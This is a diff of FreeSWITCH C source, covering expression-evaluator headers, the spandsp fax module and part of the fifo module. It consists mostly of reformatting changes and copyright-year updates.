void *exprValListGetNext(exprValList *vlist, char **name, EXPRTYPE *value, EXPRTYPE** addr, void *cookie);
|
||||
int exprValListFree(exprValList *vlist);
|
||||
int exprValListClear(exprValList *vlist);
|
||||
int exprValListInit(exprValList *vlist);
|
||||
int exprValListCreate(exprValList ** vlist);
|
||||
int exprValListAdd(exprValList * vlist, char *name, EXPRTYPE val);
|
||||
int exprValListSet(exprValList * vlist, char *name, EXPRTYPE val);
|
||||
int exprValListGet(exprValList * vlist, char *name, EXPRTYPE * val);
|
||||
int exprValListAddAddress(exprValList * vlist, char *name, EXPRTYPE * addr);
|
||||
int exprValListGetAddress(exprValList * vlist, char *name, EXPRTYPE ** addr);
|
||||
void *exprValListGetNext(exprValList * vlist, char **name, EXPRTYPE * value, EXPRTYPE ** addr, void *cookie);
|
||||
int exprValListFree(exprValList * vlist);
|
||||
int exprValListClear(exprValList * vlist);
|
||||
int exprValListInit(exprValList * vlist);
|
||||
|
||||
/* Functions for expression objects */
|
||||
int exprCreate(exprObj **obj, exprFuncList *flist, exprValList *vlist, exprValList *clist,
|
||||
exprBreakFuncType breaker, void *userdata);
|
||||
int exprFree(exprObj *obj);
|
||||
int exprClear(exprObj *obj);
|
||||
int exprParse(exprObj *obj, char *expr);
|
||||
int exprEval(exprObj *obj, EXPRTYPE *val);
|
||||
int exprEvalNode(exprObj *obj, exprNode *nodes, int curnode, EXPRTYPE *val);
|
||||
exprFuncList *exprGetFuncList(exprObj *obj);
|
||||
exprValList *exprGetVarList(exprObj *obj);
|
||||
exprValList *exprGetConstList(exprObj *obj);
|
||||
exprBreakFuncType exprGetBreakFunc(exprObj *obj);
|
||||
int exprGetBreakResult(exprObj *obj);
|
||||
void* exprGetUserData(exprObj *obj);
|
||||
void exprSetUserData(exprObj *obj, void *userdata);
|
||||
void exprSetBreakCount(exprObj *obj, int count);
|
||||
void exprGetErrorPosition(exprObj *obj, int *start, int *end);
|
||||
int exprCreate(exprObj ** obj, exprFuncList * flist, exprValList * vlist, exprValList * clist, exprBreakFuncType breaker, void *userdata);
|
||||
int exprFree(exprObj * obj);
|
||||
int exprClear(exprObj * obj);
|
||||
int exprParse(exprObj * obj, char *expr);
|
||||
int exprEval(exprObj * obj, EXPRTYPE * val);
|
||||
int exprEvalNode(exprObj * obj, exprNode * nodes, int curnode, EXPRTYPE * val);
|
||||
exprFuncList *exprGetFuncList(exprObj * obj);
|
||||
exprValList *exprGetVarList(exprObj * obj);
|
||||
exprValList *exprGetConstList(exprObj * obj);
|
||||
exprBreakFuncType exprGetBreakFunc(exprObj * obj);
|
||||
int exprGetBreakResult(exprObj * obj);
|
||||
void *exprGetUserData(exprObj * obj);
|
||||
void exprSetUserData(exprObj * obj, void *userdata);
|
||||
void exprSetBreakCount(exprObj * obj, int count);
|
||||
void exprGetErrorPosition(exprObj * obj, int *start, int *end);
|
||||
|
||||
/* Other useful routines */
|
||||
int exprValidIdent(char *name);
|
||||
int exprValidIdent(char *name);
|
||||
|
||||
/* Name mangling */
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif /* __BAVII_EXPREVAL_H */
|
||||
#endif /* __BAVII_EXPREVAL_H */
|
||||
File diff suppressed because it is too large.
Load diff
@@ -13,7 +13,7 @@
|
||||
/* Needed for exprNode */
|
||||
#include "exprpriv.h"
|
||||
|
||||
void* exprAllocMem(size_t size);
|
||||
void *exprAllocMem(size_t size);
|
||||
void exprFreeMem(void *data);
|
||||
exprNode *exprAllocNodes(size_t count);
|
||||
|
||||
|
||||
@@ -30,196 +30,180 @@ extern "C" {
|
||||
#define EXPR_VERSIONMINOR 7
|
||||
|
||||
/* Node types */
|
||||
enum
|
||||
{
|
||||
EXPR_NODETYPE_UNKNOWN = 0,
|
||||
EXPR_NODETYPE_MULTI,
|
||||
EXPR_NODETYPE_ADD,
|
||||
EXPR_NODETYPE_SUBTRACT,
|
||||
EXPR_NODETYPE_MULTIPLY,
|
||||
EXPR_NODETYPE_DIVIDE,
|
||||
EXPR_NODETYPE_EXPONENT,
|
||||
EXPR_NODETYPE_NEGATE,
|
||||
EXPR_NODETYPE_VALUE,
|
||||
EXPR_NODETYPE_VARIABLE,
|
||||
EXPR_NODETYPE_ASSIGN,
|
||||
EXPR_NODETYPE_FUNCTION
|
||||
};
|
||||
enum {
|
||||
EXPR_NODETYPE_UNKNOWN = 0,
|
||||
EXPR_NODETYPE_MULTI,
|
||||
EXPR_NODETYPE_ADD,
|
||||
EXPR_NODETYPE_SUBTRACT,
|
||||
EXPR_NODETYPE_MULTIPLY,
|
||||
EXPR_NODETYPE_DIVIDE,
|
||||
EXPR_NODETYPE_EXPONENT,
|
||||
EXPR_NODETYPE_NEGATE,
|
||||
EXPR_NODETYPE_VALUE,
|
||||
EXPR_NODETYPE_VARIABLE,
|
||||
EXPR_NODETYPE_ASSIGN,
|
||||
EXPR_NODETYPE_FUNCTION
|
||||
};
|
||||
|
||||
/* Functions can be evaluated directly in EXPREVAL. If fptr
|
||||
is NULL, type is used to determine what the function is */
|
||||
enum
|
||||
{
|
||||
EXPR_NODEFUNC_UNKNOWN = 0,
|
||||
EXPR_NODEFUNC_ABS,
|
||||
EXPR_NODEFUNC_MOD,
|
||||
EXPR_NODEFUNC_IPART,
|
||||
EXPR_NODEFUNC_FPART,
|
||||
EXPR_NODEFUNC_MIN,
|
||||
EXPR_NODEFUNC_MAX,
|
||||
EXPR_NODEFUNC_POW,
|
||||
EXPR_NODEFUNC_SQRT,
|
||||
EXPR_NODEFUNC_SIN,
|
||||
EXPR_NODEFUNC_SINH,
|
||||
EXPR_NODEFUNC_ASIN,
|
||||
EXPR_NODEFUNC_COS,
|
||||
EXPR_NODEFUNC_COSH,
|
||||
EXPR_NODEFUNC_ACOS,
|
||||
EXPR_NODEFUNC_TAN,
|
||||
EXPR_NODEFUNC_TANH,
|
||||
EXPR_NODEFUNC_ATAN,
|
||||
EXPR_NODEFUNC_ATAN2,
|
||||
EXPR_NODEFUNC_LOG,
|
||||
EXPR_NODEFUNC_POW10,
|
||||
EXPR_NODEFUNC_LN,
|
||||
EXPR_NODEFUNC_EXP,
|
||||
EXPR_NODEFUNC_LOGN,
|
||||
EXPR_NODEFUNC_CEIL,
|
||||
EXPR_NODEFUNC_FLOOR,
|
||||
EXPR_NODEFUNC_RAND,
|
||||
EXPR_NODEFUNC_RANDOM,
|
||||
EXPR_NODEFUNC_RANDOMIZE,
|
||||
EXPR_NODEFUNC_DEG,
|
||||
EXPR_NODEFUNC_RAD,
|
||||
EXPR_NODEFUNC_RECTTOPOLR,
|
||||
EXPR_NODEFUNC_RECTTOPOLA,
|
||||
EXPR_NODEFUNC_POLTORECTX,
|
||||
EXPR_NODEFUNC_POLTORECTY,
|
||||
EXPR_NODEFUNC_IF,
|
||||
EXPR_NODEFUNC_SELECT,
|
||||
EXPR_NODEFUNC_EQUAL,
|
||||
EXPR_NODEFUNC_ABOVE,
|
||||
EXPR_NODEFUNC_BELOW,
|
||||
EXPR_NODEFUNC_AVG,
|
||||
EXPR_NODEFUNC_CLIP,
|
||||
EXPR_NODEFUNC_CLAMP,
|
||||
EXPR_NODEFUNC_PNTCHANGE,
|
||||
EXPR_NODEFUNC_POLY,
|
||||
EXPR_NODEFUNC_AND,
|
||||
EXPR_NODEFUNC_OR,
|
||||
EXPR_NODEFUNC_NOT,
|
||||
EXPR_NODEFUNC_FOR,
|
||||
EXPR_NODEFUNC_MANY
|
||||
};
|
||||
enum {
|
||||
EXPR_NODEFUNC_UNKNOWN = 0,
|
||||
EXPR_NODEFUNC_ABS,
|
||||
EXPR_NODEFUNC_MOD,
|
||||
EXPR_NODEFUNC_IPART,
|
||||
EXPR_NODEFUNC_FPART,
|
||||
EXPR_NODEFUNC_MIN,
|
||||
EXPR_NODEFUNC_MAX,
|
||||
EXPR_NODEFUNC_POW,
|
||||
EXPR_NODEFUNC_SQRT,
|
||||
EXPR_NODEFUNC_SIN,
|
||||
EXPR_NODEFUNC_SINH,
|
||||
EXPR_NODEFUNC_ASIN,
|
||||
EXPR_NODEFUNC_COS,
|
||||
EXPR_NODEFUNC_COSH,
|
||||
EXPR_NODEFUNC_ACOS,
|
||||
EXPR_NODEFUNC_TAN,
|
||||
EXPR_NODEFUNC_TANH,
|
||||
EXPR_NODEFUNC_ATAN,
|
||||
EXPR_NODEFUNC_ATAN2,
|
||||
EXPR_NODEFUNC_LOG,
|
||||
EXPR_NODEFUNC_POW10,
|
||||
EXPR_NODEFUNC_LN,
|
||||
EXPR_NODEFUNC_EXP,
|
||||
EXPR_NODEFUNC_LOGN,
|
||||
EXPR_NODEFUNC_CEIL,
|
||||
EXPR_NODEFUNC_FLOOR,
|
||||
EXPR_NODEFUNC_RAND,
|
||||
EXPR_NODEFUNC_RANDOM,
|
||||
EXPR_NODEFUNC_RANDOMIZE,
|
||||
EXPR_NODEFUNC_DEG,
|
||||
EXPR_NODEFUNC_RAD,
|
||||
EXPR_NODEFUNC_RECTTOPOLR,
|
||||
EXPR_NODEFUNC_RECTTOPOLA,
|
||||
EXPR_NODEFUNC_POLTORECTX,
|
||||
EXPR_NODEFUNC_POLTORECTY,
|
||||
EXPR_NODEFUNC_IF,
|
||||
EXPR_NODEFUNC_SELECT,
|
||||
EXPR_NODEFUNC_EQUAL,
|
||||
EXPR_NODEFUNC_ABOVE,
|
||||
EXPR_NODEFUNC_BELOW,
|
||||
EXPR_NODEFUNC_AVG,
|
||||
EXPR_NODEFUNC_CLIP,
|
||||
EXPR_NODEFUNC_CLAMP,
|
||||
EXPR_NODEFUNC_PNTCHANGE,
|
||||
EXPR_NODEFUNC_POLY,
|
||||
EXPR_NODEFUNC_AND,
|
||||
EXPR_NODEFUNC_OR,
|
||||
EXPR_NODEFUNC_NOT,
|
||||
EXPR_NODEFUNC_FOR,
|
||||
EXPR_NODEFUNC_MANY
|
||||
};
|
||||
|
||||
/* Forward declarations */
|
||||
typedef struct _exprFunc exprFunc;
|
||||
typedef struct _exprVal exprVal;
|
||||
typedef struct _exprFunc exprFunc;
|
||||
typedef struct _exprVal exprVal;
|
||||
|
||||
/* Expression object */
|
||||
struct _exprObj
|
||||
{
|
||||
struct _exprFuncList *flist; /* Functions */
|
||||
struct _exprValList *vlist; /* Variables */
|
||||
struct _exprValList *clist; /* Constants */
|
||||
struct _exprNode *headnode; /* Head parsed node */
|
||||
struct _exprObj {
|
||||
struct _exprFuncList *flist; /* Functions */
|
||||
struct _exprValList *vlist; /* Variables */
|
||||
struct _exprValList *clist; /* Constants */
|
||||
struct _exprNode *headnode; /* Head parsed node */
|
||||
|
||||
exprBreakFuncType breakerfunc; /* Break function type */
|
||||
exprBreakFuncType breakerfunc; /* Break function type */
|
||||
|
||||
void *userdata; /* User data, can be any 32 bit value */
|
||||
int parsedgood; /* non-zero if successfully parsed */
|
||||
int parsedbad; /* non-zero if parsed but unsuccessful */
|
||||
int breakcount; /* how often to check the breaker function */
|
||||
int breakcur; /* do we check the breaker function yet */
|
||||
int starterr; /* start position of an error */
|
||||
int enderr; /* end position of an error */
|
||||
};
|
||||
void *userdata; /* User data, can be any 32 bit value */
|
||||
int parsedgood; /* non-zero if successfully parsed */
|
||||
int parsedbad; /* non-zero if parsed but unsuccessful */
|
||||
int breakcount; /* how often to check the breaker function */
|
||||
int breakcur; /* do we check the breaker function yet */
|
||||
int starterr; /* start position of an error */
|
||||
int enderr; /* end position of an error */
|
||||
};
|
||||
|
||||
/* Object for a function */
|
||||
struct _exprFunc
|
||||
{
|
||||
char *fname; /* Name of the function */
|
||||
exprFuncType fptr; /* Function pointer */
|
||||
int min, max; /* Min and max args for the function. */
|
||||
int refmin, refmax; /* Min and max ref. variables for the function */
|
||||
int type; /* Function node type. exprEvalNOde solves the function */
|
||||
struct _exprFunc {
|
||||
char *fname; /* Name of the function */
|
||||
exprFuncType fptr; /* Function pointer */
|
||||
int min, max; /* Min and max args for the function. */
|
||||
int refmin, refmax; /* Min and max ref. variables for the function */
|
||||
int type; /* Function node type. exprEvalNOde solves the function */
|
||||
|
||||
struct _exprFunc *next; /* For linked list */
|
||||
};
|
||||
struct _exprFunc *next; /* For linked list */
|
||||
};
|
||||
|
||||
/* Function list object */
|
||||
struct _exprFuncList
|
||||
{
|
||||
struct _exprFunc *head;
|
||||
};
|
||||
struct _exprFuncList {
|
||||
struct _exprFunc *head;
|
||||
};
|
||||
|
||||
/* Object for values */
|
||||
struct _exprVal
|
||||
{
|
||||
char *vname; /* Name of the value */
|
||||
EXPRTYPE vval; /* Value of the value */
|
||||
EXPRTYPE *vptr; /* Pointer to a value. Used only if not NULL */
|
||||
struct _exprVal {
|
||||
char *vname; /* Name of the value */
|
||||
EXPRTYPE vval; /* Value of the value */
|
||||
EXPRTYPE *vptr; /* Pointer to a value. Used only if not NULL */
|
||||
|
||||
struct _exprVal *next; /* For linked list */
|
||||
};
|
||||
struct _exprVal *next; /* For linked list */
|
||||
};
|
||||
|
||||
/* Value list */
|
||||
struct _exprValList
|
||||
{
|
||||
struct _exprVal *head;
|
||||
};
|
||||
struct _exprValList {
|
||||
struct _exprVal *head;
|
||||
};
|
||||
|
||||
/* Expression node type */
|
||||
struct _exprNode
|
||||
{
|
||||
int type; /* Node type */
|
||||
struct _exprNode {
|
||||
int type; /* Node type */
|
||||
|
||||
union _data /* Union of info for various types */
|
||||
{
|
||||
struct _oper
|
||||
{
|
||||
struct _exprNode *nodes; /* Operation arguments */
|
||||
int nodecount; /* Number of arguments */
|
||||
} oper;
|
||||
union _data { /* Union of info for various types */
|
||||
struct _oper {
|
||||
struct _exprNode *nodes; /* Operation arguments */
|
||||
int nodecount; /* Number of arguments */
|
||||
} oper;
|
||||
|
||||
struct _variable
|
||||
{
|
||||
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
|
||||
} variable;
|
||||
struct _variable {
|
||||
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
|
||||
} variable;
|
||||
|
||||
struct _value
|
||||
{
|
||||
EXPRTYPE value; /* Value if type is value */
|
||||
} value;
|
||||
struct _value {
|
||||
EXPRTYPE value; /* Value if type is value */
|
||||
} value;
|
||||
|
||||
struct _assign /* Assignment struct */
|
||||
{
|
||||
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
|
||||
struct _exprNode *node; /* Node to evaluate */
|
||||
} assign;
|
||||
struct _assign { /* Assignment struct */
|
||||
EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
|
||||
struct _exprNode *node; /* Node to evaluate */
|
||||
} assign;
|
||||
|
||||
struct _function
|
||||
{
|
||||
exprFuncType fptr; /* Function pointer */
|
||||
struct _exprNode *nodes; /* Array of argument nodes */
|
||||
int nodecount; /* Number of argument nodes */
|
||||
EXPRTYPE **refs; /* Reference variables */
|
||||
int refcount; /* Number of variable references (not a reference counter) */
|
||||
int type; /* Type of function for exprEvalNode if fptr is NULL */
|
||||
} function;
|
||||
} data;
|
||||
};
|
||||
struct _function {
|
||||
exprFuncType fptr; /* Function pointer */
|
||||
struct _exprNode *nodes; /* Array of argument nodes */
|
||||
int nodecount; /* Number of argument nodes */
|
||||
EXPRTYPE **refs; /* Reference variables */
|
||||
int refcount; /* Number of variable references (not a reference counter) */
|
||||
int type; /* Type of function for exprEvalNode if fptr is NULL */
|
||||
} function;
|
||||
} data;
|
||||
};
|
||||
|
||||
|
||||
|
||||
/* Functions for function lists */
|
||||
int exprFuncListAddType(exprFuncList *flist, char *name, int type, int min, int max, int refmin, int refmax);
|
||||
int exprFuncListGet(exprFuncList *flist, char *name, exprFuncType *ptr, int *type, int *min, int *max, int *refmin, int *refmax);
|
||||
int exprFuncListAddType(exprFuncList * flist, char *name, int type, int min, int max, int refmin, int refmax);
|
||||
int exprFuncListGet(exprFuncList * flist, char *name, exprFuncType * ptr, int *type, int *min, int *max, int *refmin, int *refmax);
|
||||
|
||||
#ifdef WIN32
|
||||
#define SWITCH_DECLARE(type) __declspec(dllimport) type __stdcall
|
||||
#else
|
||||
#define SWITCH_DECLARE(type) type
|
||||
#define SWITCH_DECLARE(type) type
|
||||
#endif
|
||||
|
||||
SWITCH_DECLARE(int) switch_isalnum(int c);
|
||||
SWITCH_DECLARE(int) switch_isalpha(int c);
|
||||
SWITCH_DECLARE(int) switch_isdigit(int c);
|
||||
SWITCH_DECLARE(int) switch_isspace(int c);
|
||||
SWITCH_DECLARE(int) switch_isalnum(int c);
|
||||
SWITCH_DECLARE(int) switch_isalpha(int c);
|
||||
SWITCH_DECLARE(int) switch_isdigit(int c);
|
||||
SWITCH_DECLARE(int) switch_isspace(int c);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* __BAVII_EXPRPRIV_H */
|
||||
|
||||
#endif /* __BAVII_EXPRPRIV_H */
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -88,12 +88,12 @@ struct pvt_s {
|
||||
|
||||
int tx_page_start;
|
||||
int tx_page_end;
|
||||
|
||||
|
||||
int done;
|
||||
|
||||
/* UNUSED AT THE MOMENT
|
||||
int enable_t38_reinvite;
|
||||
*/
|
||||
*/
|
||||
|
||||
};
|
||||
|
||||
@@ -141,7 +141,7 @@ static void spanfax_log_message(int level, const char *msg)
|
||||
/*
|
||||
* Called at the end of the document
|
||||
*/
|
||||
static void phase_e_handler(t30_state_t * s, void *user_data, int result)
|
||||
static void phase_e_handler(t30_state_t *s, void *user_data, int result)
|
||||
{
|
||||
t30_stats_t t;
|
||||
const char *local_ident;
|
||||
@@ -153,7 +153,7 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
|
||||
|
||||
pvt = (pvt_t *) user_data;
|
||||
switch_assert(pvt);
|
||||
|
||||
|
||||
session = pvt->session;
|
||||
switch_assert(session);
|
||||
|
||||
@@ -184,8 +184,8 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Remote station id: %s\n", far_ident);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Local station id: %s\n", local_ident);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
|
||||
pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Pages transferred: %i\n",
|
||||
pvt->app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Total fax pages: %i\n", t.pages_in_file);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Image resolution: %ix%i\n", t.x_resolution, t.y_resolution);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Transfer Rate: %i\n", t.bit_rate);
|
||||
@@ -195,11 +195,12 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote vendor: %s\n", switch_str_nil(t30_get_rx_vendor(s)));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "remote model: %s\n", switch_str_nil(t30_get_rx_model(s)));
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "==============================================================================\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
|
||||
"==============================================================================\n");
|
||||
|
||||
/*
|
||||
Set our channel variables
|
||||
*/
|
||||
Set our channel variables
|
||||
*/
|
||||
|
||||
tmp = switch_mprintf("%i", result);
|
||||
if (tmp) {
|
||||
@@ -250,15 +251,15 @@ static void phase_e_handler(t30_state_t * s, void *user_data, int result)
|
||||
}
|
||||
|
||||
/* switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING); */
|
||||
|
||||
|
||||
pvt->done = 1;
|
||||
|
||||
/*
|
||||
TODO Fire events
|
||||
*/
|
||||
TODO Fire events
|
||||
*/
|
||||
}
|
||||
|
||||
static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
|
||||
static switch_status_t spanfax_init(pvt_t *pvt, transport_mode_t trans_mode)
|
||||
{
|
||||
|
||||
switch_core_session_t *session;
|
||||
@@ -342,7 +343,7 @@ static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
|
||||
Here goes the T.38 SpanDSP initializing functions
|
||||
T.38 will require a big effort as it needs a different approach
|
||||
but the pieces are already in place
|
||||
*/
|
||||
*/
|
||||
default:
|
||||
assert(0); /* Whaaat ? */
|
||||
break;
|
||||
@@ -351,7 +352,7 @@ static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static switch_status_t spanfax_destroy(pvt_t * pvt)
|
||||
static switch_status_t spanfax_destroy(pvt_t *pvt)
|
||||
{
|
||||
int terminate;
|
||||
t30_state_t *t30;
|
||||
@@ -403,9 +404,9 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
switch_codec_t write_codec = { 0 };
|
||||
switch_frame_t *read_frame = { 0 };
|
||||
switch_frame_t write_frame = { 0 };
|
||||
switch_codec_implementation_t read_impl = {0};
|
||||
switch_codec_implementation_t read_impl = { 0 };
|
||||
int16_t *buf = NULL;
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
switch_core_session_get_read_impl(session, &read_impl);
|
||||
|
||||
/* make sure we have a valid channel when starting the FAX application */
|
||||
channel = switch_core_session_get_channel(session);
|
||||
@@ -414,7 +415,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
if (!switch_channel_media_ready(channel)) {
|
||||
switch_channel_answer(channel);
|
||||
}
|
||||
|
||||
|
||||
/* Allocate our structs */
|
||||
pvt = switch_core_session_alloc(session, sizeof(pvt_t));
|
||||
|
||||
@@ -468,8 +469,8 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
pvt->verbose = globals.verbose;
|
||||
}
|
||||
|
||||
if ( (tmp=switch_channel_get_variable(channel, "fax_force_caller")) ) {
|
||||
if ( switch_true(tmp) ) {
|
||||
if ((tmp = switch_channel_get_variable(channel, "fax_force_caller"))) {
|
||||
if (switch_true(tmp)) {
|
||||
pvt->caller = 1;
|
||||
} else {
|
||||
pvt->caller = 0;
|
||||
@@ -515,7 +516,8 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
pvt->filename = switch_core_session_strdup(session, data);
|
||||
if (pvt->app_mode == FUNCTION_TX) {
|
||||
if ((switch_file_exists(pvt->filename, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n", switch_str_nil(pvt->filename));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot send inexistant fax file [%s]\n",
|
||||
switch_str_nil(pvt->filename));
|
||||
goto done;
|
||||
}
|
||||
}
|
||||
@@ -548,12 +550,12 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
}
|
||||
|
||||
/*
|
||||
*** Initialize the SpanDSP elements ***
|
||||
*** Initialize the SpanDSP elements ***
|
||||
|
||||
Note: we could analyze if a fax was already detected in previous stages
|
||||
and if so, when T.38 will be supported, send a reinvite in T38_MODE,
|
||||
bypassing AUDIO_MODE.
|
||||
*/
|
||||
Note: we could analyze if a fax was already detected in previous stages
|
||||
and if so, when T.38 will be supported, send a reinvite in T38_MODE,
|
||||
bypassing AUDIO_MODE.
|
||||
*/
|
||||
|
||||
if ((spanfax_init(pvt, AUDIO_MODE) != SWITCH_STATUS_SUCCESS)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot initialize Fax engine\n");
|
||||
@@ -563,14 +565,14 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
/*
|
||||
Note: Disable echocan on the channel, remember to call app "disable_ec" in the dialplan
|
||||
before invoking fax applications
|
||||
*/
|
||||
*/
|
||||
|
||||
/*
|
||||
Note: we are disabling the Jitterbuffer, here, before we answer.
|
||||
If you have set it to something else and the channel is pre-answered,
|
||||
it will have no effect. Make sure that if you want more reliable
|
||||
faxes, it is disabled.
|
||||
*/
|
||||
Note: we are disabling the Jitterbuffer, here, before we answer.
|
||||
If you have set it to something else and the channel is pre-answered,
|
||||
it will have no effect. Make sure that if you want more reliable
|
||||
faxes, it is disabled.
|
||||
*/
|
||||
switch_channel_set_variable(channel, "jitterbuffer_msec", "0");
|
||||
|
||||
|
||||
@@ -614,7 +616,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
}
|
||||
|
||||
switch_ivr_sleep(session, 250, SWITCH_TRUE, NULL);
|
||||
|
||||
|
||||
while (switch_channel_ready(channel)) {
|
||||
int tx = 0;
|
||||
switch_status_t status;
|
||||
@@ -628,7 +630,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
- call t38_terminal_send_timeout(), sleep for a while
|
||||
|
||||
The T.38 stuff can be placed here (and the audio stuff can be skipped)
|
||||
*/
|
||||
*/
|
||||
|
||||
/* read new audio frame from the channel */
|
||||
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
|
||||
@@ -640,7 +642,7 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
|
||||
/* Skip CNG frames (auto-generated by FreeSWITCH, usually) */
|
||||
if (!switch_test_flag(read_frame, SFF_CNG)) {
|
||||
/* pass the new incoming audio frame to the fax_rx function */
|
||||
/* pass the new incoming audio frame to the fax_rx function */
|
||||
if (fax_rx(pvt->fax_state, (int16_t *) read_frame->data, read_frame->samples)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "fax_rx reported an error\n");
|
||||
goto done;
|
||||
@@ -670,13 +672,13 @@ void process_fax(switch_core_session_t *session, const char *data, application_m
|
||||
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
/* Destroy the SpanDSP structures */
|
||||
spanfax_destroy(pvt);
|
||||
|
||||
/* restore the original codecs over the channel */
|
||||
|
||||
switch_core_session_set_read_codec(session, NULL);
|
||||
switch_core_session_set_read_codec(session, NULL);
|
||||
|
||||
if (switch_core_codec_ready(&read_codec)) {
|
||||
switch_core_codec_destroy(&read_codec);
|
||||
@@ -782,8 +784,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_fax_init)
|
||||
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE, SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "rxfax", "FAX Receive Application", "FAX Receive Application", spanfax_rx_function, SPANFAX_RX_USAGE,
|
||||
SAF_SUPPORT_NOMEDIA);
|
||||
SWITCH_ADD_APP(app_interface, "txfax", "FAX Transmit Application", "FAX Transmit Application", spanfax_tx_function, SPANFAX_TX_USAGE,
|
||||
SAF_SUPPORT_NOMEDIA);
|
||||
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
switch_core_new_memory_pool(&globals.pool);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -90,11 +90,10 @@ static switch_status_t on_dtmf(switch_core_session_t *session, void *input, swit
|
||||
const char *consumer_exit_key = switch_channel_get_variable(channel, "fifo_consumer_exit_key");
|
||||
|
||||
if (switch_channel_test_flag(switch_core_session_get_channel(session), CF_BRIDGE_ORIGINATOR)) {
|
||||
if ( consumer_exit_key && dtmf->digit == *consumer_exit_key ) {
|
||||
if (consumer_exit_key && dtmf->digit == *consumer_exit_key) {
|
||||
switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
|
||||
return SWITCH_STATUS_BREAK;
|
||||
}
|
